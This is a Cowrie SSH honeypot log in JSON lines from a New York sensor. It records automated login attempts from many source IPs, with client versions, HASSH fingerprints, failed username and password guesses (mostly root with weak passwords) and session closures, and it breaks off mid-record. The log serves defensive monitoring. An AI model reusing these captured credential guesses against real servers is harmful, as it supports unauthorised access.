{"eventid":"cowrie.session.connect","src_ip":"94.159.109.207","src_port":55588,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d099ecebac0","protocol":"ssh","message":"New connection: 94.159.109.207:55588 (10.17.0.5:22) [session: 9d099ecebac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:46.412204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:46.420012Z","src_ip":"94.159.109.207","session":"9d099ecebac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:46.536066Z","src_ip":"94.159.109.207","session":"9d099ecebac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"djkjlz","message":"login attempt [root/djkjlz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:46.885272Z","src_ip":"94.159.109.207","session":"9d099ecebac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":4960,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fcc94bf68a0","protocol":"ssh","message":"New connection: 38.93.206.2:4960 (159.203.135.109:22) [session: 4fcc94bf68a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:47.621116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:47.625928Z","src_ip":"38.93.206.2","session":"4fcc94bf68a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:47.677150Z","src_ip":"38.93.206.2","session":"4fcc94bf68a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1a1a1","message":"login attempt [root/a1a1a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:47.845192Z","src_ip":"38.93.206.2","session":"4fcc94bf68a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:48.004055Z","src_ip":"94.159.109.207","session":"9d099ecebac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:48.973630Z","src_ip":"38.93.206.2","session":"4fcc94bf68a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":48604,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0c895c15e2f","protocol":"ssh","message":"New connection: 193.37.70.224:48604 (10.17.0.5:22) [session: c0c895c15e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:04.517156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:04.521313Z","src_ip":"193.37.70.224","session":"c0c895c15e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:04.611523Z","src_ip":"193.37.70.224","session":"c0c895c15e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"33rjhjds","message":"login attempt [root/33rjhjds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:04.883879Z","src_ip":"193.37.70.224","session":"c0c895c15e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:05.976226Z","src_ip":"193.37.70.224","session":"c0c895c15e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":37056,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c692df9e83c","protocol":"ssh","message":"New connection: 147.45.199.80:37056 (159.203.135.109:22) [session: 3c692df9e83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:10.683138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:10.688431Z","src_ip":"147.45.199.80","session":"3c692df9e83c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:10.783633Z","src_ip":"147.45.199.80","session":"3c692df9e83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bhjxrf","message":"login attempt [root/bhjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:11.073940Z","src_ip":"147.45.199.80","session":"3c692df9e83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:12.176978Z","src_ip":"147.45.199.80","session":"3c692df9e83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":52762,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8189a9d67e0","protocol":"ssh","message":"New connection: 43.156.2.226:52762 (159.203.135.109:22) [session: e8189a9d67e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:25.296565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:25.301060Z","src_ip":"43.156.2.226","session":"e8189a9d67e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:25.540117Z","src_ip":"43.156.2.226","session":"e8189a9d67e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:26.536730Z","src_ip":"43.156.2.226","session":"e8189a9d67e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:27.778503Z","src_ip":"43.156.2.226","session":"e8189a9d67e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":55610,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a0791829cc3","protocol":"ssh","message":"New connection: 170.106.188.200:55610 (159.203.135.109:22) [session: 9a0791829cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:39.451701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:39.454993Z","src_ip":"170.106.188.200","session":"9a0791829cc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:39.521646Z","src_ip":"170.106.188.200","session":"9a0791829cc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dgr","message":"login attempt [root/dgr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:39.822650Z","src_ip":"170.106.188.200","session":"9a0791829cc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:40.892918Z","src_ip":"170.106.188.200","session":"9a0791829cc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":47800,"dst_ip":"159.203.135.109","dst_port":22,"session":"493bf42b771d","protocol":"ssh","message":"New connection: 103.91.246.101:47800 (159.203.135.109:22) [session: 493bf42b771d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:43.323393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:43.327192Z","src_ip":"103.91.246.101","session":"493bf42b771d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:43.561173Z","src_ip":"103.91.246.101","session":"493bf42b771d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scooby","message":"login attempt [root/scooby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:44.527446Z","src_ip":"103.91.246.101","session":"493bf42b771d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:45.764656Z","src_ip":"103.91.246.101","session":"493bf42b771d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":59862,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c84e8315861","protocol":"ssh","message":"New connection: 171.244.141.86:59862 (159.203.135.109:22) [session: 3c84e8315861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:55.429686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:55.434576Z","src_ip":"171.244.141.86","session":"3c84e8315861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:55.688898Z","src_ip":"171.244.141.86","session":"3c84e8315861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssword!","message":"login attempt [root/P4ssword!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:56.730661Z","src_ip":"171.244.141.86","session":"3c84e8315861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:11:57.987514Z","src_ip":"171.244.141.86","session":"3c84e8315861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:12:06.132833Z","src_ip":"222.247.32.186","session":"e2852411a8e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35122,"dst_ip":"159.203.135.109","dst_port":22,"session":"46ed4fb79908","protocol":"ssh","message":"New connection: 51.250.105.222:35122 (159.203.135.109:22) [session: 46ed4fb79908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:12:07.131766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:12:07.136669Z","src_ip":"51.250.105.222","session":"46ed4fb79908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@